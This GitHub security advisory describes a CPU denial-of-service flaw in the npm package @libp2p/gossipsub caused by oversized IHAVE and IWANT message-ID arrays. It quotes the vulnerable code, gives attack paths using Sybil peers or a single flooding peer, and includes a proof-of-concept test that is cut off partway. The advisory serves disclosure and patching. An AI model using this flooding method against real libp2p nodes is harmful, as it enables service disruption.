GitHub Advisoryadvisory · npm
GHSA-cwc9-cp4j-mcvv libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays
HIGH
Official page ↗
- Aliases
- CVE-2026-49866
- Ecosystem
- npm
- Packages
- @libp2p/gossipsub
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-20, CWE-400, CWE-770
- Reviewed
- 2026-07-10
Affected packages
• npm @libp2p/gossipsub: < 16.0.0 → fixed in 16.0.0
Description
Summary
gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.
The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.
Details
No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`)
```typescript
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: Infinity,
maxMessages: Infinity,
maxIhaveMessageIDs: Infinity,
maxIwantMessageIDs: Infinity,
maxIdontwantMessageIDs: Infinity,
maxControlMessages: Infinity,
maxPeerInfos: Infinity
}
```
These are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`.
IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`)
```typescript
messageIDs.forEach((msgId) => {
const msgIdStr = this.msgIdToStrFn(msgId)
if (!this.seenCache.has(msgIdStr)) {
iwant.set(msgIdStr, msgId)
}
})
// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes
```
The per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.
IWANT has no rate limit at all (`gossipsub.ts:1377-1394`)
```typescript
messageIDs?.forEach((msgId) => {
const msgIdStr = this.msgIdToStrFn(msgId)
const entry = this.mcache.getWithIWantCount(msgIdStr, id)
// ...
})
```
Unlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.
Attack Paths
IHAVE (requires ~10 Sybil peers)
The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.
IWANT (single peer, no Sybil)
The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.
PoC
Setup and execution of PoC
```bash
git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/gossipsub
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000
```
PoC Content:
```typescript
import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { encode as lpEncode } from 'it-length-prefixed'
import { pEvent } from 'p-event'
import { RPC } from '../src/message/rpc.js'
import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'
const TOPIC = 'poc-ihave-flood'
const MSG_ID_BYTES = 20
// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)
const MSG_IDS_PER_IHAVE = 180_000
function randomMsgIds (count: number): Uint8Array[] {
return Array.from({ length: count }, () => {
const id = new Uint8Array(MSG_ID_BYTES)
crypto.getRandomValues(id)
return id
})
}
describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () {
this.timeout(30_000)
let victim: GossipSubAndComponents
let attacker: GossipSubAndComponents
beforeEach(async () => {
;[victim, attacker] = await Promise.all([
createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
createComponents({ init: { allowPublishToZeroTopicPeers: true } })
])
// Both subscribe to the topic so the victim builds a mesh entry
victim.pubsub.subscribe(TOPIC)
attacker.pubsub.subscribe(TOPIC)
await connectPubsubNodes(victim, attacker)
// Wait for one heartbeat so the victim's mesh includes the attacker
await pEvent(victim.pubsub, 'gossipsub:heartbeat')
})
afterEach(async () => {
await stop(
victim.pubsub, attacker.pubsub,
...Object.values(victim.components),
...Object.values(attacker.components)
)
})
it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => {
const attackerIdStr = attacker.components.peerId.toString()
// Verify attacker is in victim's mesh (required for handleIHave to iterate IDs)
const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set | undefined
if (meshPeers == null || !meshPeers.has(attackerIdStr)) {
// Force mesh membership for the PoC if heartbeat hasn't built it yet
if (meshPeers == null) {
(victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))
} else {
meshPeers.add(attackerIdStr)
}
}
const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)
// Invoke handleIHave directly
const t0 = performance.now()
const iwant = (victim.pubsub as any).handleIHave(
attackerIdStr,
[{ topicID: TOPIC, messageIDs }]
) as Array
const elapsed = performance.now() - t0
console.log(`\n[PoC] 1 IHAVE ×…
Related
Alias · CVE (1)
- CVE-2026-49866 libp2p is a JavaScript Implementation of libp2p networking stack. vulnerability
References
- https://github.com/libp2p/js-libp2p/security/advisories/GHSA-cwc9-cp4j-mcvv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-49866 advisory
- https://github.com/libp2p/js-libp2p/pull/3520 web
- https://github.com/libp2p/js-libp2p/commit/773dd80ded24dbd6b19e675c89fd2f3b45f2d899 web
- https://github.com/libp2p/js-libp2p package
- https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.0 web